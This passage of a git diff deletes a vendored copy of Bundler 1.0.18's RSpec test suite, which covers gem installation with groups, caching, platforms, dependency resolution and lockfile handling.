-    should_be_installed "rack 1.0.0", "rack-obama 1.0.0"
-  end
-
-  describe "adding new gems" do
-    it "installs added gems without updating previously installed gems" do
-      build_repo2
-
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem 'rack'
-      G
-
-      update_repo2
-
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem 'rack'
-        gem 'activesupport', '2.3.5'
-      G
-
-      should_be_installed "rack 1.0.0", 'activesupport 2.3.5'
-    end
-
-    it "keeps child dependencies pinned" do
-      build_repo2
-
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "rack-obama"
-      G
-
-      update_repo2
-
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "rack-obama"
-        gem "thin"
-      G
-
-      should_be_installed "rack 1.0.0", 'rack-obama 1.0', 'thin 1.0'
-    end
-  end
-
-  describe "removing gems" do
-    it "removes gems without changing the versions of remaining gems" do
-      build_repo2
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem 'rack'
-        gem 'activesupport', '2.3.5'
-      G
-
-      update_repo2
-
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem 'rack'
-      G
-
-      should_be_installed "rack 1.0.0"
-      should_not_be_installed "activesupport 2.3.5"
-
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem 'rack'
-        gem 'activesupport', '2.3.2'
-      G
-
-      should_be_installed "rack 1.0.0", 'activesupport 2.3.2'
-    end
-
-    it "removes top level dependencies when removed from the Gemfile while leaving other dependencies intact" do
-      build_repo2
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem 'rack'
-        gem 'activesupport', '2.3.5'
-      G
-
-      update_repo2
-
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem 'rack'
-      G
-
-      should_not_be_installed "activesupport 2.3.5"
-    end
-
-    it "removes child dependencies" do
-      build_repo2
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem 'rack-obama'
-        gem 'activesupport'
-      G
-
-      should_be_installed "rack 1.0.0", "rack-obama 1.0.0", "activesupport 2.3.5"
-
-      update_repo2
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem 'activesupport'
-      G
-
-      should_be_installed 'activesupport 2.3.5'
-      should_not_be_installed "rack-obama", "rack"
-    end
-  end
-
-  describe "when Gemfile conflicts with lockfile" do
-    before(:each) do
-      build_repo2
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "rack_middleware"
-      G
-
-      should_be_installed "rack_middleware 1.0", "rack 0.9.1"
-
-      build_repo2
-      update_repo2 do
-        build_gem "rack-obama", "2.0" do |s|
-          s.add_dependency "rack", "=1.2"
-        end
-        build_gem "rack_middleware", "2.0" do |s|
-          s.add_dependency "rack", ">=1.0"
-        end
-      end
-
-      gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "rack-obama", "2.0"
-        gem "rack_middleware"
-      G
-    end
-
-    it "does not install gems whose dependencies are not met" do
-      bundle :install
-      ruby <<-RUBY, :expect_err => true
-        require 'bundler/setup'
-      RUBY
-      err.should =~ /could not find gem 'rack-obama/i
-    end
-
-    it "suggests bundle update when the Gemfile requires different versions than the lock" do
-      nice_error = <<-E.strip.gsub(/^ {8}/, '')
-        Fetching source index for file:#{gem_repo2}/
-        Bundler could not find compatible versions for gem "rack":
-          In snapshot (Gemfile.lock):
-            rack (0.9.1)
-
-          In Gemfile:
-            rack-obama (= 2.0) depends on
-              rack (= 1.2)
-
-        Running `bundle update` will rebuild your snapshot from scratch, using only
-        the gems in your Gemfile, which may resolve the conflict.
-      E
-
-      bundle :install
-      out.should == nice_error
-    end
-  end
-
-  describe "subtler cases" do
-    before :each do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-        gem "rack-obama"
-      G
-
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", "0.9.1"
-        gem "rack-obama"
-      G
-    end
-
-    it "does something" do
-      lambda {
-        bundle "install"
-      }.should_not change { File.read(bundled_app('Gemfile.lock')) }
-
-      out.should include('rack = 0.9.1')
-      out.should include('locked at 1.0.0')
-      out.should include('bundle update rack')
-    end
-
-    it "should work when you update" do
-      bundle "update rack"
-    end
-  end
-
-  describe "when adding a new source" do
-    it "updates the lockfile" do
-      build_repo2
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-      G
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        source "file://#{gem_repo2}"
-        gem "rack"
-      G
-
-      lockfile_should_be <<-L
-      GEM
-        remote: file:#{gem_repo1}/
-        remote: file:#{gem_repo2}/
-        specs:
-          rack (1.0.0)
-
-      PLATFORMS
-        ruby
-
-      DEPENDENCIES
-        rack
-      L
-    end
-  end
-
-  # This was written to test github issue #636, but it passed.
-  # It's insanoly slow (3.36s) so I'm not going to run it
-  # describe "when a locked child dependency conflicts" do
-  #   before(:each) do
-  #     build_repo2 do
-  #       build_gem "capybara", "0.3.9" do |s|
-  #         s.add_dependency "rack", ">= 1.0.0"
-  #       end
-  #
-  #       build_gem "rack", "1.1.0"
-  #       build_gem "rails", "3.0.0.rc4" do |s|
-  #         s.add_dependency "rack", "~> 1.1.0"
-  #       end
-  #
-  #       build_gem "rack", "1.2.1"
-  #       build_gem "rails", "3.0.0" do |s|
-  #         s.add_dependency "rack", "~> 1.2.1"
-  #       end
-  #     end
-  #   end
-  #
-  #   it "prints the correct error message" do
-  #     # install Rails 3.0.0.rc
-  #     install_gemfile <<-G
-  #       source "file://#{gem_repo2}"
-  #       gem "rails", "3.0.0.rc4"
-  #       gem "capybara", "0.3.9"
-  #     G
-  #
-  #     # upgrade Rails to 3.0.0 and then install again
-  #     install_gemfile <<-G
-  #       source "file://#{gem_repo2}"
-  #       gem "rails", "3.0.0"
-  #       gem "capybara", "0.3.9"
-  #     G
-  #
-  #     out.should match(/Gemfile.lock/)
-  #   end
-  # end
-
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/groups_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/groups_spec.rb
deleted file mode 100644
index 51865ab6..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/groups_spec.rb
+++ /dev/null
@@ -1,245 +0,0 @@
-require "spec_helper"
-
-describe "bundle install with gem sources" do
-  describe "with groups" do
-    describe "installing with no options" do
-      before :each do
-        install_gemfile <<-G
-          source "file://#{gem_repo1}"
-          gem "rack"
-          group :emo do
-            gem "activesupport", "2.3.5"
-          end
-          gem "thin", :groups => [:emo]
-        G
-      end
-
-      it "installs gems in the default group" do
-        should_be_installed "rack 1.0.0"
-      end
-
-      it "installs gems in a group block into that group" do
-        should_be_installed "activesupport 2.3.5"
-
-        run("require 'activesupport'; puts ACTIVESUPPORT",
-          :default, :expect_err => true)
-        @err.should =~ /no such file to load -- activesupport/
-      end
-
-      it "installs gems with inline :groups into those groups" do
-        should_be_installed "thin 1.0"
-
-        run("require 'thin'; puts THIN", :default, :expect_err => true)
-        @err.should =~ /no such file to load -- thin/
-      end
-
-      it "sets up everything if Bundler.setup is used with no groups" do
-        out = run("require 'rack'; puts RACK")
-        out.should eq('1.0.0')
-
-        out = run("require 'activesupport'; puts ACTIVESUPPORT")
-        out.should eq('2.3.5')
-
-        out = run("require 'thin'; puts THIN")
-        out.should eq('1.0')
-      end
-
-      it "removes old groups when new groups are set up" do
-        run <<-RUBY, :emo, :expect_err => true
-          Bundler.setup(:default)
-          require 'thin'; puts THIN
-        RUBY
-        @err.should =~ /no such file to load -- thin/i
-      end
-
-      it "sets up old groups when they have previously been removed" do
-        out = run <<-RUBY, :emo
-          Bundler.setup(:default)
-          Bundler.setup(:default, :emo)
-          require 'thin'; puts THIN
-        RUBY
-        out.should == '1.0'
-      end
-    end
-
-    describe "installing --without" do
-      describe "with gems assigned to a single group" do
-        before :each do
-          gemfile <<-G
-            source "file://#{gem_repo1}"
-            gem "rack"
-            group :emo do
-              gem "activesupport", "2.3.5"
-            end
-          G
-        end
-
-        it "installs gems in the default group" do
-          bundle :install, :without => "emo"
-          should_be_installed "rack 1.0.0", :groups => [:default]
-        end
-
-        it "does not install gems from the excluded group" do
-          bundle :install, :without => "emo"
-          should_not_be_installed "activesupport 2.3.5", :groups => [:default]
-        end
-
-        it "does not install gems from the previously excluded group" do
-          bundle :install, :without => "emo"
-          should_not_be_installed "activesupport 2.3.5"
-          bundle :install
-          should_not_be_installed "activesupport 2.3.5"
-        end
-
-        it "does not say it installed gems from the excluded group" do
-          bundle :install, :without => "emo"
-          out.should_not include("activesupport")
-        end
-
-        it "allows Bundler.setup for specific groups" do
-          bundle :install, :without => "emo"
-          run("require 'rack'; puts RACK", :default)
-          out.should == '1.0.0'
-        end
-
-        it "does not effect the resolve" do
-          gemfile <<-G
-            source "file://#{gem_repo1}"
-            gem "activesupport"
-            group :emo do
-              gem "rails", "2.3.2"
-            end
-          G
-
-          bundle :install, :without => "emo"
-          should_be_installed "activesupport 2.3.2", :groups => [:default]
-        end
-
-        it "still works on a different machine and excludes gems" do
-          bundle :install, :without => "emo"
-
-          simulate_new_machine
-          bundle :install, :without => "emo"
-
-          should_be_installed "rack 1.0.0", :groups => [:default]
-          should_not_be_installed "activesupport 2.3.5", :groups => [:default]
-        end
-
-        it "still works when BUNDLE_WITHOUT is set" do
-          ENV["BUNDLE_WITHOUT"] = "emo"
-
-          bundle :install
-          out.should_not include("activesupport")
-
-          should_be_installed "rack 1.0.0", :groups => [:default]
-          should_not_be_installed "activesupport 2.3.5", :groups => [:default]
-
-          ENV["BUNDLE_WITHOUT"] = nil
-        end
-      end
-
-      describe "with gems assigned to multiple groups" do
-        before :each do
-          gemfile <<-G
-            source "file://#{gem_repo1}"
-            gem "rack"
-            group :emo, :lolercoaster do
-              gem "activesupport", "2.3.5"
-            end
-          G
-        end
-
-        it "installs gems in the default group" do
-          bundle :install, :without => "emo lolercoaster"
-          should_be_installed "rack 1.0.0"
-        end
-
-        it "installs the gem if any of its groups are installed" do
-          bundle "install --without emo"
-          should_be_installed "rack 1.0.0", "activesupport 2.3.5"
-        end
-
-        it "works when locked as well" do
-          bundle "install --without emo"
-          bundle "lock"
-
-          simulate_new_machine
-
-          bundle "install --without lolercoaster"
-          should_be_installed "rack 1.0.0", "activesupport 2.3.5"
-        end
-
-        describe "with a gem defined multiple times in different groups" do
-          before :each do
-            gemfile <<-G
-              source "file://#{gem_repo1}"
-              gem "rack"
-
-              group :emo do
-                gem "activesupport", "2.3.5"
-              end
-
-              group :lolercoaster do
-                gem "activesupport", "2.3.5"
-              end
-            G
-          end
-
-          it "installs the gem w/ option --without emo" do
-            bundle "install --without emo"
-            should_be_installed "activesupport 2.3.5"
-          end
-
-          it "installs the gem w/ option --without lolercoaster" do
-            bundle "install --without lolercoaster"
-            should_be_installed "activesupport 2.3.5"
-          end
-
-          it "does not install the gem w/ option --without emo lolercoaster" do
-            bundle "install --without emo lolercoaster"
-            should_not_be_installed "activesupport 2.3.5"
-          end
-
-          it "does not install the gem w/ option --without 'emo lolercoaster'" do
-            bundle "install --without 'emo lolercoaster'"
-            should_not_be_installed "activesupport 2.3.5"
-          end
-        end
-      end
-
-      describe "nesting groups" do
-        before :each do
-          gemfile <<-G
-            source "file://#{gem_repo1}"
-            gem "rack"
-            group :emo do
-              group :lolercoaster do
-                gem "activesupport", "2.3.5"
-              end
-            end
-          G
-        end
-
-        it "installs gems in the default group" do
-          bundle :install, :without => "emo lolercoaster"
-          should_be_installed "rack 1.0.0"
-        end
-
-        it "installs the gem if any of its groups are installed" do
-          bundle "install --without emo"
-          should_be_installed "rack 1.0.0", "activesupport 2.3.5"
-        end
-
-        it "works when locked as well" do
-          bundle "install --without emo"
-          bundle "lock"
-
-          simulate_new_machine
-
-          bundle "install --without lolercoaster"
-          should_be_installed "rack 1.0.0", "activesupport 2.3.5"
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/packed_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/packed_spec.rb
deleted file mode 100644
index 59222122..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/packed_spec.rb
+++ /dev/null
@@ -1,84 +0,0 @@
-require "spec_helper"
-
-describe "bundle install with gem sources" do
-  describe "when cached and locked" do
-    it "does not hit the remote at all" do
-      build_repo2
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "rack"
-      G
-
-      bundle :pack
-      simulate_new_machine
-      FileUtils.rm_rf gem_repo2
-
-      bundle "install --local"
-      should_be_installed "rack 1.0.0"
-    end
-
-    it "does not hit the remote at all" do
-      build_repo2
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "rack"
-      G
-
-      bundle :pack
-      simulate_new_machine
-      FileUtils.rm_rf gem_repo2
-
-      bundle "install --deployment"
-      should_be_installed "rack 1.0.0"
-    end
-
-    it "does not reinstall already-installed gems" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-      G
-      bundle :pack
-
-      build_gem "rack", "1.0.0", :path => bundled_app('vendor/cache') do |s|
-        s.write "lib/rack.rb", "raise 'omg'"
-      end
-
-      bundle :install
-      err.should be_empty
-      should_be_installed "rack 1.0"
-    end
-
-    it "ignores cached gems for the wrong platform" do
-      simulate_platform "java" do
-        install_gemfile <<-G
-          source "file://#{gem_repo1}"
-          gem "platform_specific"
-        G
-        bundle :pack
-      end
-
-      simulate_new_machine
-
-      simulate_platform "ruby" do
-        install_gemfile <<-G
-          source "file://#{gem_repo1}"
-          gem "platform_specific"
-        G
-        run "require 'platform_specific' ; puts PLATFORM_SPECIFIC"
-        out.should == "1.0.0 RUBY"
-      end
-    end
-
-    it "does not update the cache if --no-cache is passed" do
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-      G
-      bundled_app("vendor/cache").mkpath
-      bundled_app("vendor/cache").children.should be_empty
-
-      bundle "install --no-cache"
-      bundled_app("vendor/cache").children.should be_empty
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/platform_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/platform_spec.rb
deleted file mode 100644
index d5207420..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/platform_spec.rb
+++ /dev/null
@@ -1,192 +0,0 @@
-require "spec_helper"
-
-describe "bundle install across platforms" do
-  it "maintains the same lockfile if all gems are compatible across platforms" do
-    lockfile <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          rack (0.9.1)
-
-      PLATFORMS
-        #{not_local}
-
-      DEPENDENCIES
-        rack
-    G
-
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      gem "rack"
-    G
-
-    should_be_installed "rack 0.9.1"
-  end
-
-  it "pulls in the correct platform specific gem" do
-    lockfile <<-G
-      GEM
-        remote: file:#{gem_repo1}
-        specs:
-          platform_specific (1.0)
-          platform_specific (1.0-java)
-          platform_specific (1.0-x86-mswin32)
-
-      PLATFORMS
-        ruby
-
-      DEPENDENCIES
-        platform_specific
-    G
-
-    simulate_platform "java"
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      gem "platform_specific"
-    G
-
-    should_be_installed "platform_specific 1.0 JAVA"
-  end
-
-  it "works with gems that have different dependencies" do
-    simulate_platform "java"
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      gem "nokogiri"
-    G
-
-    should_be_installed "nokogiri 1.4.2 JAVA", "weakling 0.0.3"
-
-    simulate_new_machine
-
-    simulate_platform "ruby"
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      gem "nokogiri"
-    G
-
-    should_be_installed "nokogiri 1.4.2"
-    should_not_be_installed "weakling"
-  end
-
-  it "works the other way with gems that have different dependencies" do
-    simulate_platform "ruby"
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      gem "nokogiri"
-    G
-
-    simulate_platform "java"
-    bundle "install"
-
-    should_be_installed "nokogiri 1.4.2 JAVA", "weakling 0.0.3"
-  end
-
-  it "fetches gems again after changing the version of Ruby" do
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      gem "rack", "1.0.0"
-    G
-
-    bundle "install --path vendor/bundle"
-
-    vendored_gems("gems/rack-1.0.0").should exist
-  end
-
-  it "works after switching Rubies" do
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      gem "rack", "1.0.0"
-    G
-
-    bundle "install --path vendor/bundle"
-
-    new_version = Gem::ConfigMap[:ruby_version] == "1.8" ? "1.9.1" : "1.8"
-    FileUtils.mv(vendored_gems, bundled_app("vendor/bundle/#{Gem.ruby_engine}/#{new_version}"))
-
-    bundle "install --path ./vendor/bundle"
-    vendored_gems("gems/rack-1.0.0").should exist
-  end
-end
-
-describe "bundle install with platform conditionals" do
-  it "installs gems tagged w/ the current platforms" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      platforms :#{local_tag} do
-        gem "nokogiri"
-      end
-    G
-
-    should_be_installed "nokogiri 1.4.2"
-  end
-
-  it "does not install gems tagged w/ another platforms" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-      platforms :#{not_local_tag} do
-        gem "nokogiri"
-      end
-    G
-
-    should_be_installed     "rack 1.0"
-    should_not_be_installed "nokogiri 1.4.2"
-  end
-
-  it "installs gems tagged w/ the current platforms inline" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "nokogiri", :platforms => :#{local_tag}
-    G
-    should_be_installed "nokogiri 1.4.2"
-  end
-
-  it "does not install gems tagged w/ another platforms inline" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-      gem "nokogiri", :platforms => :#{not_local_tag}
-    G
-    should_be_installed     "rack 1.0"
-    should_not_be_installed "nokogiri 1.4.2"
-  end
-
-  it "installs gems tagged w/ the current platform inline" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "nokogiri", :platform => :#{local_tag}
-    G
-    should_be_installed "nokogiri 1.4.2"
-  end
-
-  it "doesn't install gems tagged w/ another platform inline" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "nokogiri", :platform => :#{not_local_tag}
-    G
-    should_not_be_installed "nokogiri 1.4.2"
-  end
-
-  it "does not blow up on sources with all platform-excluded specs" do
-    build_git "foo"
-
-    install_gemfile <<-G
-      platform :#{not_local_tag} do
-        gem "foo", :git => "#{lib_path('foo-1.0')}"
-      end
-    G
-
-    bundle :show, :exitstatus => true
-    exitstatus.should == 0
-  end
-
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/resolving_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/resolving_spec.rb
deleted file mode 100644
index 67b9b2f9..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/resolving_spec.rb
+++ /dev/null
@@ -1,72 +0,0 @@
-require "spec_helper"
-
-describe "bundle install with gem sources" do
-  describe "install time dependencies" do
-    it "installs gems with implicit rake dependencies" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "with_implicit_rake_dep"
-        gem "another_implicit_rake_dep"
-        gem "rake"
-      G
-
-      run <<-R
-        require 'implicit_rake_dep'
-        require 'another_implicit_rake_dep'
-        puts IMPLICIT_RAKE_DEP
-        puts ANOTHER_IMPLICIT_RAKE_DEP
-      R
-      out.should == "YES\nYES"
-    end
-
-    it "installs gems with a dependency with no type" do
-      build_repo2
-
-      path = "#{gem_repo2}/#{Gem::MARSHAL_SPEC_DIR}/actionpack-2.3.2.gemspec.rz"
-      spec = Marshal.load(Gem.inflate(File.read(path)))
-      spec.dependencies.each do |d|
-        d.instance_variable_set(:@type, :fail)
-      end
-      File.open(path, 'w') do |f|
-        f.write Gem.deflate(Marshal.dump(spec))
-      end
-
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "actionpack", "2.3.2"
-      G
-
-      should_be_installed "actionpack 2.3.2", "activesupport 2.3.2"
-    end
-
-    describe "with crazy rubygem plugin stuff" do
-      it "installs plugins" do
-        install_gemfile <<-G
-          source "file://#{gem_repo1}"
-          gem "net_b"
-        G
-
-        should_be_installed "net_b 1.0"
-      end
-
-      it "installs plugins depended on by other plugins" do
-        install_gemfile <<-G
-          source "file://#{gem_repo1}"
-          gem "net_a"
-        G
-
-        should_be_installed "net_a 1.0", "net_b 1.0"
-      end
-
-      it "installs multiple levels of dependencies" do
-        install_gemfile <<-G
-          source "file://#{gem_repo1}"
-          gem "net_c"
-          gem "net_e"
-        G
-
-        should_be_installed "net_a 1.0", "net_b 1.0", "net_c 1.0", "net_d 1.0", "net_e 1.0"
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/simple_case_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/simple_case_spec.rb
deleted file mode 100644
index a427367b..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/simple_case_spec.rb
+++ /dev/null
@@ -1,758 +0,0 @@
-require "spec_helper"
-
-describe "bundle install with gem sources" do
-  describe "the simple case" do
-    it "prints output and returns if no dependencies are specified" do
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-      G
-
-      bundle :install
-      out.should =~ /no dependencies/
-    end
-
-    it "does not make a lockfile if the install fails" do
-      install_gemfile <<-G, :expect_err => true
-        raise StandardError, "FAIL"
-      G
-
-      err.should =~ /FAIL \(StandardError\)/
-      bundled_app("Gemfile.lock").should_not exist
-    end
-
-    it "creates a Gemfile.lock" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-      G
-
-      bundled_app('Gemfile.lock').should exist
-    end
-
-    it "creates lock files based on the Gemfile name" do
-      gemfile bundled_app('OmgFile'), <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", "1.0"
-      G
-
-      bundle 'install --gemfile OmgFile'
-
-      bundled_app("OmgFile.lock").should exist
-    end
-
-    it "doesn't delete the lockfile if one already exists" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem 'rack'
-      G
-
-      lockfile = File.read(bundled_app("Gemfile.lock"))
-
-      install_gemfile <<-G, :expect_err => true
-        raise StandardError, "FAIL"
-      G
-
-      File.read(bundled_app("Gemfile.lock")).should == lockfile
-    end
-
-    it "does not touch the lockfile if nothing changed" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-      G
-
-      lambda { run '1' }.should_not change { File.mtime(bundled_app('Gemfile.lock')) }
-    end
-
-    it "fetches gems" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem 'rack'
-      G
-
-      default_bundle_path("gems/rack-1.0.0").should exist
-      should_be_installed("rack 1.0.0")
-    end
-
-    it "fetches gems when multiple versions are specified" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem 'rack', "> 0.9", "< 1.0"
-      G
-
-      default_bundle_path("gems/rack-0.9.1").should exist
-      should_be_installed("rack 0.9.1")
-    end
-
-    it "fetches gems when multiple versions are specified take 2" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem 'rack', "< 1.0", "> 0.9"
-      G
-
-      default_bundle_path("gems/rack-0.9.1").should exist
-      should_be_installed("rack 0.9.1")
-    end
-
-    it "raises an appropriate error when gems are specified using symbols" do
-      status = install_gemfile(<<-G, :exitstatus => true)
-        source "file://#{gem_repo1}"
-        gem :rack
-      G
-      status.should == 4
-    end
-
-    it "pulls in dependencies" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rails"
-      G
-
-      should_be_installed "actionpack 2.3.2", "rails 2.3.2"
-    end
-
-    it "does the right version" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", "0.9.1"
-      G
-
-      should_be_installed "rack 0.9.1"
-    end
-
-    it "does not install the development dependency" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "with_development_dependency"
-      G
-
-      should_be_installed "with_development_dependency 1.0.0"
-      should_not_be_installed "activesupport 2.3.5"
-    end
-
-    it "resolves correctly" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "activemerchant"
-        gem "rails"
-      G
-
-      should_be_installed "activemerchant 1.0", "activesupport 2.3.2", "actionpack 2.3.2"
-    end
-
-    it "activates gem correctly according to the resolved gems" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "activesupport", "2.3.5"
-      G
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "activemerchant"
-        gem "rails"
-      G
-
-      should_be_installed "activemerchant 1.0", "activesupport 2.3.2", "actionpack 2.3.2"
-    end
-
-    it "does not reinstall any gem that is already available locally" do
-      system_gems "activesupport-2.3.2"
-
-      build_repo2 do
-        build_gem "activesupport", "2.3.2" do |s|
-          s.write "lib/activesupport.rb", "ACTIVESUPPORT = 'fail'"
-        end
-      end
-
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "activerecord", "2.3.2"
-      G
-
-      should_be_installed "activesupport 2.3.2"
-    end
-
-    it "works when the gemfile specifies gems that only exist in the system" do
-      build_gem "foo", :to_system => true
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-        gem "foo"
-      G
-
-      should_be_installed "rack 1.0.0", "foo 1.0.0"
-    end
-
-    it "prioritizes local gems over remote gems" do
-      build_gem 'rack', '1.0.0', :to_system => true do |s|
-        s.add_dependency "activesupport", "2.3.5"
-      end
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-      G
-
-      should_be_installed "rack 1.0.0", "activesupport 2.3.5"
-    end
-
-    describe "with a gem that installs multiple platforms" do
-      it "installs gems for the local platform as first choice" do
-        install_gemfile <<-G
-          source "file://#{gem_repo1}"
-          gem "platform_specific"
-        G
-
-        run "require 'platform_specific' ; puts PLATFORM_SPECIFIC"
-        out.should == "1.0.0 #{Gem::Platform.local}"
-      end
-
-      it "falls back on plain ruby" do
-        simulate_platform "foo-bar-baz"
-        install_gemfile <<-G
-          source "file://#{gem_repo1}"
-          gem "platform_specific"
-        G
-
-        run "require 'platform_specific' ; puts PLATFORM_SPECIFIC"
-        out.should == "1.0.0 RUBY"
-      end
-
-      it "installs gems for java" do
-        simulate_platform "java"
-        install_gemfile <<-G
-          source "file://#{gem_repo1}"
-          gem "platform_specific"
-        G
-
-        run "require 'platform_specific' ; puts PLATFORM_SPECIFIC"
-        out.should == "1.0.0 JAVA"
-      end
-
-      it "installs gems for windows" do
-        simulate_platform mswin
-
-        install_gemfile <<-G
-          source "file://#{gem_repo1}"
-          gem "platform_specific"
-        G
-
-        run "require 'platform_specific' ; puts PLATFORM_SPECIFIC"
-        out.should == "1.0.0 MSWIN"
-      end
-    end
-
-    describe "doing bundle install foo" do
-      before do
-        gemfile <<-G
-          source "file://#{gem_repo1}"
-          gem "rack"
-        G
-      end
-
-      it "works" do
-        bundle "install --path vendor"
-        should_be_installed "rack 1.0"
-      end
-
-      it "allows running bundle install --system without deleting foo" do
-        bundle "install --path vendor"
-        bundle "install --system"
-        FileUtils.rm_rf(bundled_app("vendor"))
-        should_be_installed "rack 1.0"
-      end
-
-      it "allows running bundle install --system after deleting foo" do
-        bundle "install --path vendor"
-        FileUtils.rm_rf(bundled_app("vendor"))
-        bundle "install --system"
-        should_be_installed "rack 1.0"
-      end
-    end
-
-    it "finds gems in multiple sources" do
-      build_repo2
-      update_repo2
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        source "file://#{gem_repo2}"
-
-        gem "activesupport", "1.2.3"
-        gem "rack", "1.2"
-      G
-
-      should_be_installed "rack 1.2", "activesupport 1.2.3"
-    end
-
-    it "gives a useful error if no sources are set" do
-      install_gemfile <<-G
-        gem "rack"
-      G
-
-      bundle :install, :expect_err => true
-      out.should =~ /Your Gemfile doesn't have any sources/i
-    end
-  end
-
-  describe "when prerelease gems are available" do
-    it "finds prereleases" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "not_released"
-      G
-      should_be_installed "not_released 1.0.pre"
-    end
-
-    it "uses regular releases if available" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "has_prerelease"
-      G
-      should_be_installed "has_prerelease 1.0"
-    end
-
-    it "uses prereleases if requested" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "has_prerelease", "1.1.pre"
-      G
-      should_be_installed "has_prerelease 1.1.pre"
-    end
-  end
-
-  describe "when prerelease gems are not available" do
-    it "still works" do
-      build_repo3
-      install_gemfile <<-G
-        source "file://#{gem_repo3}"
-        gem "rack"
-      G
-
-      should_be_installed "rack 1.0"
-    end
-  end
-
-  describe "when BUNDLE_PATH or the global path config is set" do
-    before :each do
-      build_lib "rack", "1.0.0", :to_system => true do |s|
-        s.write "lib/rack.rb", "raise 'FAIL'"
-      end
-
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-      G
-    end
-
-    def set_bundle_path(type, location)
-      if type == :env
-        ENV["BUNDLE_PATH"] = location
-      elsif type == :global
-        bundle "config path #{location}", "no-color" => nil
-      end
-    end
-
-    [:env, :global].each do |type|
-      it "installs gems to a path if one is specified" do
-        set_bundle_path(type, bundled_app("vendor2").to_s)
-        bundle "install --path vendor/bundle"
-
-        vendored_gems("gems/rack-1.0.0").should be_directory
-        bundled_app("vendor2").should_not be_directory
-        should_be_installed "rack 1.0.0"
-      end
-
